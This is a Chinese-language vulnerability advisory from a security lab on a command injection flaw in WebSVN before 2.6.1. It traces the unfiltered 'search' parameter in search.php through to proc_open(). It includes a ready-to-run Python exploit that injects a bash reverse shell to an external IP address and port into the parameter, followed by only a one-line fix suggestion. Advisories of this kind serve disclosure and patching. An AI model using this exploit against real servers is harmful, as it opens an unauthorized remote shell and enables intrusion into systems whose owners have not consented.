——D&X安全实验室


目录

Part1 漏洞描述

Part2 危害等级

Part3 漏洞影响

Part4 漏洞分析及验证

        源码分析

Part5 修复建议


Part1 漏洞描述

        WebSVN是一个基于Web的Subversion Repository浏览器,可以查看文件或文件夹的日志,查看文件的变化列表等。其search.php?search= 参数下过滤不严谨导致RCE。

WebSVN官网地址:https://websvnphp.github.io/

漏洞源码:https://github.com/websvnphp/websvn/releases/tag/2.6.0

Part2 危害等级

高危

Part3 漏洞影响

  • WebSVN 2.6.1之前

Part4 漏洞分析及验证

        源码分析

        在search.php下找到传入的参数search

        发现参数的值被传给了showSerachResults()函数 定位找到showSerachResults()函数发现传入的参数赋值给了此函数的$searchstrig变量,跟踪变量发现此变量又传给了getListSearch()函数

        定位找到getListSearch()函数,发现在处理后传给了cmd,然后又传给了_xmlParseCmdOutput()

        找到_xmlParseCmdOutput()函数后发现$cmd又被传给了runCommand()函数

        定位runCommand()函数,发现对$cmd进行了处理之后直接放入proc_open()运行了

        通过查询proc_open()的执行方式,对比runCommand()对$cmd的处理,发现只是为了防止报错,并没有对参数进行安全的过滤

        然后在回头看对$searchstring做了哪些处理

        首先是拼接了list-R—search和—xml然后就给了svnCommandandStrig()处理

        这边依然是对它进行一些拼接,并不会影响输入命令的执行 综上,可以判断出来GET方式传入的search并没有被很好地过滤处理,直接放入了proc_open中执行,从而导致了RCE。

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/43.225.30.219/7777 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
  target = args.target
else:
  print("[!] Target should start with either http:// or https://")
  exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")

Part5 修复建议

        对传入的search参数进行严格的过滤处理


“D&X 安全实验室”

专注渗透测试技术

全球最新网络攻击技术

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐